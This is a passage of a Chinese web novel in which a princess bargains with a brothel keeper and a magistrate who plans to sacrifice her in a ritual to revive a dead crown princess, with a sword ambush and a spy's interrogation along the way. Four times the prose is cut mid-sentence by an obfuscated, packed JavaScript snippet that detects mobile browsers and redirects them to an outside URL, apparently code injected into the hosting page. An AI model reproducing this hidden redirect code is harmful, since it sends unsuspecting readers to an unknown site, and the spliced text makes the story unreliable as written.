晏泠音倒吸了口凉气。借着门缝里透进来的微弱光线,她能模糊地辨认出,这条廊道里起码挂了十几条白幡。葛茵说错了,她于三年前便操持过丧事,当然也见过灵堂,只是这里的布置太过阴森怪异,以至她一时没有认出来。 梁国的习俗是给男儿用黑幡,给女儿用白幡,但不论是何种颜色,都会在幡布上写下往生者的姓名,否则要凭何招魂?可晏泠音面前的白幡上却都空空荡荡,没有一条写了名字。 悬挂无字白幡在家里,是大不祥。 晏泠音脊背发凉。葛茵越过她就要往里走,被她拉住了手臂。 “茵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431937|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茵,”晏泠音抱歉道,“是有人去世了么?” 葛茵甩了两下才甩脱她的手:“放心,暂时还没人死,晚点就说不定了。今天家家户户都得挂这个东西,为了过节。” 八月初八,往前挨不到中元节,往后也挨不着中秋,本应无节可过。晏泠音听她语气古怪,还想再问,葛茵已转过话题,生硬地说:“我姊姊不像我这样好脾气,你找她做什么?她发起火来不认人,谁都敢打,你要走的话,现在还来得及。” 她说得别扭,晏泠音却听出了回护之意。她沉默片刻,放柔了语气:“茵茵,你原本想杀我的。” 在她被谢朗带走之前,葛茵藏起了刀,陪她做了两日一夜的亡命徒,没有下手。 “可是为什么,”晏泠音沉声道,“因为我是朝廷的公主?” 葛茵不说话。 “还是因为我是杜尚书的学生?”晏泠音说得艰难。谈及旧事让她满口苦涩,几乎难以呼吸,“老师多年前曾推行过限田,就是为了整治田地兼并的乱象,但他做得太激进,推及地方时出了很多问题。老师也很愧疚,他走前还在整理流民的名册,就是期盼有朝一日能稍稍弥补……” “但他死了,”葛茵直白得近于尖刻,“被你害死的。” 仿佛一道冰棱直刺入心脏,晏泠音动了下嘴唇,却没有发出声音。她愕然地看着葛茵,直到对方像是受不住那种目光,紧抿着唇偏过了头。 晏泠音唇间的苦味凝成了石块,重重砸进了胸膛。 “对,是我害了老师,我知道是我之过。可是茵茵,那本未完的名册还收在秘书阁中,老师尚在世的学生们也仍在各地活动,我们没有放弃。” “大话谁不会说?”葛茵背转过身,维持着那种尖刻的语调,“我也能说。我已经说过很多次了,要带阿姊离开这里,让她不用再奔波受累。可到头来,我只是个什么都做不了的没用的人,连杀掉你……都下不去手。” 晏泠音犹豫片刻,上前半步,环住了葛茵瘦削的、颤抖的肩。 她低声说:“我会帮你的。” 越过葛茵的肩膀,晏泠音望见数道白幡无风自动。过道尽头,身形高大的女子就站在灰白交错的光影间,遥遥地打量着她。女子眉眼很深,长得相当漂亮,但和葛茵并不相像。葛茵的名字是她取的,她们二人相依为命,虽无血缘,却彼此以姊妹互称。 晏泠音曾见过她一次,那时她还不知,就是这个女子独自管着整个百花窟。 “茵茵,你回房去。”葛芜的目光落在晏泠音环住葛茵的手臂上,等她松开后才语气平平地继续道,“这一位既是贵客,站着做甚?进来说话罢。” 56. 暗棋 这屋子门面虽小,内里却相当阔大。晏泠音跟着葛芜走出过道,步入一间更加昏暗的厅堂。厅堂两侧有长廊延伸开去,而缀在长廊边上的,是数不清的挤挤挨挨的小门。房门大多紧闭着,每一扇门前都挂着无字白幡,帐幔似的掩住了半边门扇。 晏泠音立刻明白过来,这才是百花窟的真面目。表面上挂牌在外的只有一间小屋,但整条街的屋子都已打通、联结,像缀在食人藤上的叶片,随着罪恶的藤蔓向更深处生长,盘根错节。 她早已习惯了抑制内心的惧意,无论宫内宫外,害怕这种情绪总是百害而无一利,但此刻,站在屋顶倾斜下压的大厅里,看着满厅飘摇的丧事用的白幡,隐约听到暗处女子们的呼吸声和私语声,晏泠音只觉有什么从胃里翻涌上来,让她难以自控地想要干呕。 说不上是恐惧还是憎厌。 这是梁国内部的蛆虫。在她看不到的地方,还有无数条和它一样在蠕动。它们吸食活人的血,将女子逼入死路,自己却越来越肥美,越来越粗壮,一生二,二生三,逐渐爬满了梁国的土地,还在无止境地繁衍着。 杀不掉也杀不尽,因为蛆虫逐利而生,而人口买卖的背后,是令人心惊的暴利。 晏泠音在原地站了片刻,葛芜没等她,自顾自地走到了唯一一张小桌旁,随意踢开了桌腿边堆积的杂物。她很客气地招呼晏泠音:“坐。”见晏泠音不动,她便也环顾了一圈,了然道,“今天出门的人少,姑娘们都待在房里,才显得安静。平日不这样的,大家都聚在一处说说笑笑,多少能好过些。” 晏泠音不确定她是不是在安慰自己,那种口吻太轻松了,好似她谈论的不是无数人过于沉重的苦难和不幸。她走到桌边时,葛芜已经坐下了,给她留了只蒙着绣布的矮凳。绣布缝了两道边,花纹精巧,但褪色褪得厉害,看着已经很旧了。 “今日,”晏泠音接着她的话问道,“是在过什么节吗?” “殿下既然只身前来,对百花窟当不是一无所知。”葛芜翻过桌上倒扣的茶盏,替她倒了盏茶。茶盏的边沿开了豁口,色泽也十分黯淡,但因为平时洗得勤,倒是相当干净,看得出主人一丝不苟的做派。晏泠音接了茶,即刻抿了一口,以示并无防备。葛芜搁下茶壶,跟着才慢悠悠道:“我得先对殿下的所知所想心中有数,才能同殿下开怀畅谈。” 这个要求并不无理,晏泠音又抿了口茶,勉强压下了方才那阵反胃感。 “我知道得很少,”她在葛芜的注视下攥紧了茶盏,“更多的只是猜测。” “我猜百花窟是个幌子,确切地说,是一桩交易。它能够掩人耳目,让蔚州内通奸细,外交寇敌,还能借此倒卖莫厘茶,垄断整个北地的茶业。”晏泠音顿了顿,指骨磕了一下茶盏的边缘,“以上这些,是朝中一位大人物的宏图。此外,对张知州来说,百花窟也是他救回某位故人最便捷的途径,他用这种方式网罗猎物,加以戕害。” 葛芜的反应比她原以为的要平静很多。她面色不改,抬手替自己也倒了半盏茶:“殿下给蔚州扣了好大一顶帽子。说是猜测,听口气却并不像啊。” “葛姊姊不否认吗?”晏泠音观察着她的神情,见她半边唇角下撇,另外半边却微微扬起,露出讽刺的弧度。很显然,葛茵那种讥嘲的笑就是跟她学的。 “交易,”葛芜咬住了这两个字,“我凭什么要参与这场交易?” 晏泠音抬眼望向昏暗的四周:“你想让姑娘们活下来。” 蔚州这场局难解,因为身在其中者都各有所求,且一个比一个偏执。乱世中的人抓不住太多东西,只能弃掉一部分以留住其他,拼的就是自私。张无为和安漼之的心思并不难猜,在他们那里,良心可以为了欲望让步,但晏泠音直觉,葛家姊妹不是那样的人。 “近年来出逃的百姓太多,蔚州的户籍簿册早已成了废纸,”她捻着指腹,好像还有书页在指间沙沙作响,“有心人若要加以利用,不是什么难事。我草草翻过一遍,发现葛家的女眷都被登记为‘亡故’,时间在五年之前。” 那是张无为初到蔚州的时候,他亟需一个合适的人替他管理百花窟。或许早在那时,葛芜就已下定决心要与虎谋皮。 晏泠音不了解她,唯一能肯定的是,葛芜对百花窟的恨意不会比葛茵更少。这样的人愿意和张无为合作,一定是因为有想要保护的、更重要的东西。 “很精妙的说辞。”葛芜目光锐利,“但正如殿下所言,只是些猜测而已。” “我很抱歉,”晏泠音察觉到她并未被说动,“葛家的事,我和老师都很愧疚。” “殿下不必如此。”葛芜笑了一声,“即便没有杜慎,户籍改革依旧会被推行,我们这种人家,早晚是会被牺牲的。茵茵不懂事,迁怒于殿下,倒是我要向你道歉。” 晏泠音一时哑然。 “如果殿下要说的仅止于此,那我们也就谈完了。”葛芜手中的茶盏见了底,却没有要续的意思,“糙茶涩口,本不该拿来招待贵客,殿下请回罢。” 晏泠音放下了冰凉的茶盏。 “那些银子,你能拿到多少?”她望着正要起身的葛芜,轻声道,“我能给出更好的报酬。” 葛芜的动作顿住了。 “谈到北地的商贾,最出名的当然是白家和宋家,但葛姊姊的心性、能力,并不弱于白宋两家的儿郎。”晏泠音手心出了汗,声线却依然平稳,“我并非为谈笑而来,葛姊姊,我想和你谈一笔更好的交易。” “如果有其他的谋生手段可以选择,姑娘们一定也不愿意留在此处。如今尚在战时,天已冷了,将士们需要大量的冬衣。谢将军禁止家属随军,后勤这块一直很缺人手。还有物资的押送也是难事,途中损耗颇巨,让熟悉路径的人来办才能事半功倍,几千人就可抵数万官兵。”晏泠音一口气说了下去,见葛芜没有打断她,这才放慢了语速,“当然,身怀武艺的姑娘们若有意助战,亦可提长枪上战场,待到立功之日,自能青史扬名。” 葛芜像是真有了些兴趣,顺着她问道:“还有呢?” “还有茶叶,”晏泠音瞥了眼手中的冷茶,“幽国的生意还要继续做,可以全部交由葛姊姊来打理,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431938|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白水河以南对莫厘茶同样有需求,若能分出一部分运往南边……” 葛芜若有所思:“原来殿下是来给泾州当说客的。” 晏泠音摇头:“我……” “我知道谢朗想要什么,”葛芜的口气已经冷淡下来,“继续和幽国的生意,是因为他需要战马。等茶叶到了你们手里,只会被换成马匹,何来金银?而我,又凭何要为了不能到手的银子,把姑娘们送上战场?” “殿下不是生意人,开出的条件也太过寒酸了。”她坐直了身子,语气不容置疑,“我就不送了,慢走。” 不远处有踉跄的脚步声,晏泠音抬眼时望见了葛茵。她就站在拐角处的白幡下,一脸怔然地对上了晏泠音的视线。 不知道听了多久。 “但你保不住所有人的。”晏泠音压下声音,几乎没有动嘴唇,“只要张无为还活着,就会有无辜的女子被牺牲。” 葛芜也听到了背后的动静。她没有回头,手却微不可察地颤了一下。 “若我没有猜错,这些白幡每年都会被挂起,因为八月初九是太子妃的生辰,也是施行术法最合适的日子。张无为会提前挑选被‘献祭’者,想要用她们的命换回太子妃。” “军队的事,茶叶的事,这些都可以再商量。”晏泠音松开了茶盏,幽幽道,“在那之前,我会先杀了张无为。” 屋内寂静。不明所以的葛茵往这里又跨了一步,试图听清楚她们的对话。葛芜没有开口,她看着晏泠音,像是此刻才真正认识了她。 “我不信你,”她倾身向前,和晏泠音靠得很近,“你用什么办法杀他?他死后蔚州就会崩溃,如果幽军趁虚而入,你又要如何保下一城百姓?” 张无为这颗棋子嵌得太妙了,牵制着四面八方,剜掉他而不惊动幕后之人,才是难点所在。葛芜和他周旋了五年,仍没有找到万无一失的办法。她是求稳之人,不会允许晏泠音莽撞行动。 “我并无十足的把握,葛姊姊。”晏泠音低低道,“但我现在若不动手,死的就会是我。” 葛芜睁大了眼睛,面上掠过一抹迟疑。 “今日是你?” “是我。”晏泠音肯定道,“我与太子妃同月同日同时出生,都是阴时命格,且又年龄相仿。葛姊姊也发现了罢?往年张无为会挑选七八个女孩,但今年他毫无动静,因为他找到了我。若我活了下来,我们之间的交易依旧作数,但若我死在今晚,一切都还要拜托你。” 葛芜的长眉蹙了起来。 “你为什么不走?”她问道,“既然知道后果,为什么不干脆离开蔚州?” “张无为布了这么多年的局,好容易等到今日,怎会甘心放我离开。”晏泠音说得平静,“即便我侥幸逃了出去,蔚州的姑娘们不就因我遭殃了吗。” 她没有说出口。张无为早已给过暗示,只有她留下,宋齐和陈桉才能顺利出城。 “晚了。”葛芜的面色发白。她从桌边站起,双手用力撑在桌沿,手背上暴起了青筋,“白幡已经挂起,这是种极凶的邪术……你活不了的。” 57. 怜惜 晏泠音将手放到心口,隔着衣料触到了玉佩的温度,定了下神。 “我也是术师,”她恳切道,“会有办法的。” “什么人?”葛芜忽然变了神色,一脚踹翻了身前的桌案,“小心!” 破旧不堪的天花板轰然坍塌,飞扬的尘土在空气里弥散开来。晏泠音来不及站起,从矮凳上滚落下去,被呛得连连咳嗽。比碎砖先一步砸落的,是一柄极细极长的剑,它在刺向地面时挽了个漂亮的剑花,旁边的矮凳立即应声断成了两截。 晏泠音已退到了墙角,一手撑住墙面,一手拔出了袖中的短刀。铛的一声,刀刃迎上了剑刃,她虎口剧痛,迅速换用双手握住刀柄,却依旧抵不住逼近的长剑。 电光石火之间,她和持剑者短暂对视。那人蒙住了头和脸,只露出一双眉骨突出的眼睛。他的眼角没有皱纹,眉毛和睫毛却都是灰白色的,很难辨出年龄。望着她时,他的眸光意外地温和,不带戾气。 手上下的却是杀招。 晏泠音心跳得厉害。她的虎口已经开裂,血浸湿了刀柄,湿滑一片,让她握得更加艰难。就在剑刃几乎抵上她鼻尖时,凌厉的破空声从男子背后传来,那是条系着棱形短刺的白绫,方才和数道白幡挂在一起,并不惹人注意。 这就是葛芜的武器。 男子矮身避开了白绫的一击。晏泠音咬牙使力,趁他手上劲道略松时抵开长剑,迅速翻身滚出了墙角。她反应快,男子反应更快,长剑像是长了眼睛,紧咬着她的脖颈不放。刺啦一声,晏泠音颈边的衣领被剑尖划开,那只还带着她体温的青玉就这样掉了出来,在砸上地面的前一秒被男子用剑身挑起,高高地抛向半空。 不只晏泠音怔了一下——刚刚那一剑若不是接了玉佩,而是刺向她的咽喉,她此刻已然没命了——连男子自己也愣了一下。他的目光从晏泠音身上移开,就那样对着半空露出了恍惚的神色,只是转瞬,棱刺又已呼啸而至,扫上了他的背脊。 血顺着棱上的血槽流下,男子皱起眉,回剑想斩断白绫,但那绫布的韧性极强,轻易斩不断,反倒将剑身给缠住了。就在他们僵持之时,晏泠音忍着膝盖的疼痛跪行两步,险险接住了掉下的玉佩。 苏觅编的穗子还没散,衬着莹莹玉色,愈发红得刺眼。 大厅里闹了这一阵,一屋子的姑娘都被惊动了。原本紧闭的房门一扇扇打开,惊呼声、议论声接连响起,而在其中,葛茵的声音格外突出。她从男子刚出现时便开始发怔,神色古怪地看了一会儿,忽然喊道:“詹叔!” 男子和葛芜的动作俱是一停。白绫回卷,男子也顺势收了长剑。他没有看葛茵,只最后瞥了晏泠音一眼,眸光复杂。 又一片尘土飞扬后,男子已不见踪影。他反应机敏,轻功亦佳,葛芜自知追不上,便没有跟出去。她随手抛了白绫,几步上前来扶晏泠音:“嘶,还是伤到了。” 颈边泛起迟来的刺痛,晏泠音没有伸手去摸,但也知那里定然黏糊一片。她看向仍有些失魂落魄的葛茵,试探道:“茵茵,你认得他?” “是詹叔……我不会认错的。”葛茵声音颤抖,扶着身边的墙壁才站稳了身,“多年没见过他了,我遇到阿姊之前,是他救我出了乱葬岗,还教我武功防身。” 晏泠音皱眉思索。她回忆着方才男子用剑的姿态,试图和葛茵挥舞棍棒的动作对上,忽然心中一紧。记忆里的某个场景与男子的一招一式逐渐重叠,越来越清晰,越来越令她不寒而栗。 宋齐的声音隐隐响起,带着爽朗的笑意:“我的修为到底不及师父,这把剑得由他来使,才算是一剑能动天下春!” * 身材臃肿的老者提着菜篮走在街上。他腰背佝偻,头发蓬乱,一张脸浮肿苍白,隐隐泛着青。手边的菜篮里没有装菜,只放了两只鼓鼓囊囊的油纸包,凑近了,能闻到草药的苦气。 这个病恹恹的老头是何时来了蔚州,又是如何在纷乱的时局里活到今日,没有人知道,也没有人在意。旁人对他的唯一印象便是他总出入药铺,每隔几日便会提着菜篮,一瘸一拐地买药回府。 他吃的是什么药?哪里得来的药银?那位幽国来的、势利贪婪的药铺掌柜,为什么对他毕恭毕敬? 极少数对这些问题产生过好奇的人,最终都死得悄无声息。 老者一路都在咳嗽。今日风大,呛得他有些呼吸不畅。或许是腿脚不利索的缘故,他走得很慢,时而会停下脚步,将并不沉重的菜篮换到另一只手上。 他的指尖沾有红色的汁液,那是被碾碎的百日草。 又一阵风从背后卷来,他停步举首,看了眼阴郁的天色。 “公子。” 苏觅没有回头。 他们站在一条废弃的水沟旁,因它太过腥臭,连无家的流民也不愿在此停留。开口的是一位头发灰白的男子,他快得像道黑影,落地时连脚步声也无,对着苏觅撑膝跪地。 “我从泾州逃出,那边暂时还未发觉。想着回幽国前,总要来见公子一面。” 苏觅懒散道:“难为你还记得我。” 他的嗓子已好了大半,这一句说得轻柔婉转,十分好听,却让男子打了个寒噤。 “属下对公子自是忠心耿耿。” “是么,”笑意在苏觅眼中聚积,他捻了捻指尖的花汁,唤了詹士伦的字,“居隐,你对夫人也是这样说的吗?” 那一瞬,寒风中有杀意四溢。詹士伦直起身,望向苏觅包裹臃肿的背影。他很清楚地知道,面前的年轻公子已病入膏肓,手无缚鸡之力。 “公子在怀疑我,”詹士伦低声道,“但月前少阁主回幽时,就是我前去接应的。若不是为了掩护他,我也不会落入谢朗手中。” “你们设计引诱谢初原,让他绕道庸山,”苏觅戴着人皮面具,即便笑时也看不到唇角上扬,显得格外诡异,“就该想到,谢朗不会坐视不理。这计策拙劣,几乎让人发笑。” “公子算无遗策,这些小伎俩当然骗不过您。但这样也好,”詹士伦斟酌道,“大公子那边人心愈失,公子回幽的胜算就愈大。” 苏觅挑了挑眉:“我何时说过我要回去?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431939|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 詹士伦愣住了:“但公子……不是早就……” “我改主意了,”苏觅笑吟吟道,“觉得留在梁国更有意思。”他回过身,一双狐狸般的细长眼扫过詹士伦发白的面色,“你是不是下一句就要问,那夫人怎么办?” 詹士伦猛地跪地伏身,语声诚恳:“此事与夫人无涉。属下知道公子自有考量,但还是斗胆望公子三思。公子筹备了这么久,不就是为了现在?如今一切顺利,若只因一个女子便弃掉大业,未免不值。” “只因一个女子,”苏觅重复了一遍这句话,眼眸很轻地眯起,“你去找她了。” 他咬字太轻,尾音还未落下便已消散,听得人无端心慌。那种漫不经心的笑意从他眸中全然褪去,被更深更暗的东西掩住了。詹士伦一向定力非常,却在此时依旧难以直面苏觅的目光。他更深地伏下身去:“属下没有想伤她。” 苏觅了然地点头:“你没有想伤她,因为你看见了我留给她的绳结。你或许还想帮她,因为知道我同她皆被夫人选中,知道我们这一世都要纠缠不清不死不休,所以,想帮她解脱。”他叹道,“你心肠真好。” 詹士伦被那句话砸得手脚冰凉,抬不起头。他不敢接,又不敢不接。他的额头已在石板上抵了太久,几乎要被冻下一层皮去:“属下不是想帮她,是想帮公子。” “哦?”苏觅的影子落在他额前,覆住了他半个身子,“说来听听。” 詹士伦冷汗湿了鬓角:“公子的行踪早晚会被夫人得知,届时,她若发现公子和殿下走得太近,定然会对殿下不利。我特意来蔚州跑这一趟,夫人也会暗自掂量,究竟是奉了谁的命令。” 苏觅沉吟片刻,微微颔首:“你考虑周到,是我所料未及。阿承心思单纯,这样的事他做不出来。居隐,我确实离不开你。” 詹士伦知他说话真假掺半,没敢应这句夸奖。下一瞬,有什么冰凉坚硬的东西抵上了他的下颌,迫得他仰起了脸。 一柄短刀——形制还有些眼熟,与他白日所见那柄一模一样。 “但有一点,阿承比你听话。”苏觅轻声道,“他从不会自作聪明。” 詹士伦喉间冰凉,说不出话。 “是我没有说清楚,那位公主殿下,”苏觅的嗓音愈柔,字句间的寒意便愈重,像柔软的毒蛇将人层层缠裹,酝酿着最后的窒息,“她不能死,不能在我面前受伤,你明白吗?” “晏、泠、音,”他一字一顿地念完这个名字,笑意才终又回到他的眼中,带了一点无法言说的怜惜缱绻,“生死由我。除我之外,谁都不能碰她。谁都不配。” “我也不必,”他收刀起身,居高临下地看着詹士伦跌坐在地,“靠威胁她来获取夫人的信任。” 詹士伦仓遽点头。他形容狼狈,像是怕得厉害,低垂的眼眸中却不见惊惶。就在苏觅转身的那一瞬,他撑地跃起,极其迅速地掐住了苏觅的咽喉。 菜篮扑通落地,连带着两包草药也掉了出来,散了一地。寒风呼啸,只卷去了虚影,水沟旁空空荡荡,就像从未有人来过一样。 58. 贺礼 今夜云层太厚,不见星月,但蔚州城里却升起了一轮又一轮血似的假月亮。家家户户门前都挑起了红色灯笼,混沌的红,仿佛它们不是用纸糊成的,是用血雾。 明了了这些灯笼的用途后,晏泠音已不再像上次那样感到心慌烦闷。她站在檐下,抬头仔细打量那只做工精巧的纸灯,隐约辨识出了灯芯处燃烧的偶人。这种法子相当残忍——对于任何把偶人视为孩子的术师而言都是如此。它所消耗的,首先是偶人的生命。 烧灼声噼啪,掩过了偶人低微的哭泣。 在周围不正常的寂静里,晏泠音能听见自己轻匀的呼吸。她在出神的间隙里意外地想起了苏觅。在蔚州的短短数日长如数年,足够他们走完从彼此戒备到互相偎依的全部路程。可她不会也不能忽视,即便在他们紧紧靠在一起时,手里也都握着无形的刀刃。 她信他却不能尽信。 “我的易容术已练得很好,”昨夜苏觅临走前对她道,“若是殿下执意要留,何妨让我来。” “公子说笑。”晏泠音淡淡应他,“即便你能骗过张无为,也骗不过偶人。偶术如不起效,张无为自会怀疑。” 可她还是期盼了一下——只在很短的一瞬。期盼苏觅会来,哪怕只是来陪她说说话。 没有等到啊。 此刻多想无益。晏泠音深吸了口气,又一次开始观察院中的布置。这是堪称完美的施术之地,和吕宅的庭院一样遍植花木,风过时有清香拂面。它隐秘、幽静,不会受人打扰,且栽满了百日草,那是陈洵生前最喜欢的花,象征着她和故人无法重续的江南旧梦。 晏泠音开始默数施术所需的物件,她早在试图救回杜慎时,就将这些熟记于心。死者的尸骸——蔚州城里应当藏有陈洵的棺椁,写有死者和换命者生辰八字的偶人——燃烧的灯芯里应放了陈洵和她的生辰八字,死者生前的爱物——她当年用的是杜慎家乡的米酒……最后也最重要的一点,换命者必须心甘情愿地赴死,否则偶术定然失效。 这是她面对张无为时唯一的筹码,也是最大的筹码。她要凭此和张无为谈判。 夜风里传来枝叶摩擦的窸窣声,晏泠音在檐下的廊凳上落座,望向尚且紧闭的院门。张无为的耐心很好,给她留足了考虑的时间,他似乎胜券在握,料定她不会逃走、不会反抗。他是对的,他们两人的弱点都太明显了,张无为手里也握着她的渴求。在他有意无意地将安氏的阴谋透露给她之后,她怎么可能毫不作为地离开蔚州? 她就是为此而来的。 红灯笼于风中摇曳,撞碎了她脚下的影子。晏泠音拢了下发,理了理衣裙,对不远处的男子点头致意:“张知州。” 院门开时并未发出声响,张无为站在树影之下,还是那副素履道袍的书生打扮,他也含笑应道:“听闻明日便是殿下的生辰,故携礼来贺,不知可有惊扰到殿下。” 他手中提了一只小小的布包,四四方方的,晏泠音凝视了片刻,叹道:“只怕我当不起这份大礼。” 整座宅子都很安静。侍女们像是凭空消失了,没有一个人来端茶待客。可张无为显然并不在意,神色如常地应对晏泠音的拒绝:“但殿下需要它。” 晏泠音抬高了左手,袖口下滑,露出了腕间淡色的伤疤。她仰头望着张无为,提醒道:“我失败过。” 三年前她曾一心求死,几乎流尽了血,却没能召回亡者的魂魄。 “殿下应该知道,”张无为端详着那道疤痕,似乎颇为惋惜,“若想换命,两人的生辰、年龄都要相近才行。杜尚书出生在冬日,更是比殿下年长数十岁,殿下怎会如此糊涂,搭上性命去救一个不可能救回的人。” 晏泠音垂下了袖摆。 “既然知道了,总要试一试,”她说得平静,“知州不也是如此吗?” 但张无为摇了摇头。 “杜慎的命不好。他有甘心为他赴死的学生,却难以找到同他生辰相近的人。他生在承观改历前的闰十二月,今上换用新历之后,他甚至数年都过不了一次生辰。这样的命格想要换命,是难上加难,几乎必败无疑。” “但阿洵不一样。” 张无为朝她走了半步,神色有些发怔。那种温和的、带着痴迷的目光落在她身上,既虚无又沉重,像是透过她看见了旁人。 “她和殿下都出生在阴年的宛京,月、日、时也完全相同,怎么会这样巧?我就知道,我早就知道,阿洵命不该绝,我苦苦寻觅了这么久,终于找到了最适合替她死的人……殿下,我真的很感激你。” 凉气窜上了晏泠音的脊骨。张无为显然已入疯魔。就算她早有心理准备,听到这些鬼气森森的话,还是很难完全不被影响。 “知州就这么肯定,”她试探道,“我会甘愿以死相助吗?” 张无为微偏过头,像是十分惊讶:“殿下用了这几日的茶水和饭菜,不至于毫无所觉。我以为殿下既然并未抗拒,定是已经做出决断了。” 他不提还好,一提晏泠音便有些恶心。烧掉的偶人被研成碎末放进了饭菜里,量不多,只她凭借术师的直觉才能隐约感觉到一点。 她不得不吃下,否则今夜便等不到张无为。 “知州明白我的意思,”晏泠音抬眼,定定地望向他,眼眸很深,“我要一个明确的答复。” “老师和宋二都已平安出城了,”张无为把平安二字念得很重,“这个答复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431940|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还不够明确吗?”他又晃了晃手上的布包,“况且臣方才便告诉了殿下,这是贺礼。” “此事关系重大,”晏泠音伸出了手,腕间的伤疤若隐若现,“请原谅,张知州,我不敢冒险。” 布包在空中划出圆润的弧度。它看着轻飘飘的,落入掌中却颇有分量。晏泠音将它搁在膝头,三两下解开了绳结,露出了包里厚厚一本账册。还未开始翻阅,她的呼吸已经急促起来,微觉晕眩。 “如此,”张无为观察着她的神色,轻声道,“殿下可以放心了罢?” 晏泠音说不出话。有什么被堵在了她的喉间,像闷着一团熊熊烈火。火舌撩到之处,脏腑都因疼痛而皱缩起来。血液叫嚣着上涌,倒灌进她的眼睛,让面前的墨字也变成了红色。 一页,又一页,晏泠音翻得越来越快,晕眩感也越来越强烈。张无为确有理账的才干,每一条都记得细致清晰。青州,汾州,岳州……安氏的手伸到哪里,他便记到哪里,其中还夹了几张残破的安漼之的手信。这本账册如果扔出去,少说也能砸塌半个朝廷。 这还只是安氏一家的账。背后勾连着的世家利益,张无为只是点到即止,并没写到明面上。 “张知州为虎作伥了这么久,”晏泠音翻过最后一页,将发颤的手用力压在膝头,“不怕报应吗?” 张无为低头掸去道袍上蹭到的灰,面上那道暗红的疤痕在灯光下格外惹眼。 “我求仁得仁,所做皆我所愿之事,”他轻声反问,“有什么好怕的?” “那你能做到什么地步?”晏泠音抬手指向头顶的红灯笼,“灯芯燃尽之前,若我没能得到保证,就不会甘心去死,而你即便杀了我,太子妃也回不来了。” 听到太子妃三个字时,张无为的眼神暗了一下。 “这本账册,我会寄给宛京的江少卿,至于他想做什么,能做成什么,那都是后话,我不会干涉半分。我能许诺的,是账册会毫发无损地传到他手里。” “还不够,”晏泠音抬高了声音,看见张无为又眯起了眼,“我尚有疑惑未解,还望知州能据实相告。” “好啊,”张无为应得爽快,“但殿下先与我立个誓,如何?” 灯笼内偶人的泣音越来越低,半个身子都已被烧尽了。 “就说,若殿下并非诚心履约,杜尚书在地下便会恶鬼相缠不得安宁,其罪名也永远不得昭雪。”他唇边无声溢出冷笑,“若我毁约,就要我身受万苦,死而无地葬身。” 晏泠音心中一阵恶寒。她深吸了口气,又慢慢将它吐了出来。 “不,”她低声道,“若你违背约定,就让你今生,来世,生生世世,都与太子妃不得相见。” 59. 血盟 张无为默然良久。 “我应。” 两人对视了片刻,但从彼此的眼中都没有看到自己。他们绝非同路人,唯一相似的一点,就是对自己的性命并不在意。 “殿下,”张无为上前一步,面色阴沉,“还在犹豫吗?” 晏泠音的目光越过他,望向阴云密布的夜空。夏日过去得悄无声息,入秋后的北地夜晚黑而冷,她在风里坐了许久,脸已被冻得僵硬发痛。 如果计划顺利,宋齐和陈桉两个时辰前应已到了泾州,谢朗便是再迟钝,也该觉出不对了。她同谢朗有约在先,蔚州城内、城外,都不缺接应她的人,那是两条连宋齐也不知道的暗线。她明白,不到万不得已,这两条线是动不了的,张无为性格谨慎,一旦被他发现,就很难再安插人进来。 时已至此,谢朗那里依旧毫无动静。要么是他们遇到了麻烦,要么是谢朗权衡之下,选择了放弃晏泠音。 她更希望是后者。 “最后一件事,”晏泠音扬起唇角,“我要如何保证,知州告诉我的都是有用的话?” 平心而论,这场谈判她不亏,光是那本账册就已足够有分量,若用得好,定能重创安氏。况且,从账册里还能挖出不少官官相护的线索,要肃清大梁朝局,它也是个绝佳的切入口。这样的东西,晏泠音自认,抵得过她轻薄的性命。 “我知道殿下想问什么,”张无为了然地点头,“那些事情,我会写成短信,随账册一同转寄给江少卿。”他见晏泠音微张了口要说什么,便又补充了一句,“信上盖我的私章。” 偶人被烧得只剩下小半截,隐约的哭泣声低了下去,灯笼的光也有些暗了。院里下了寒露,晏泠音冷得手脚发麻,用微僵的手从袖中摸出了短刀。拔刀出鞘前,她又一次抬眼望向东边的天空,仍然是一片黑暗。 “好。”她轻声说,“我答应你。” 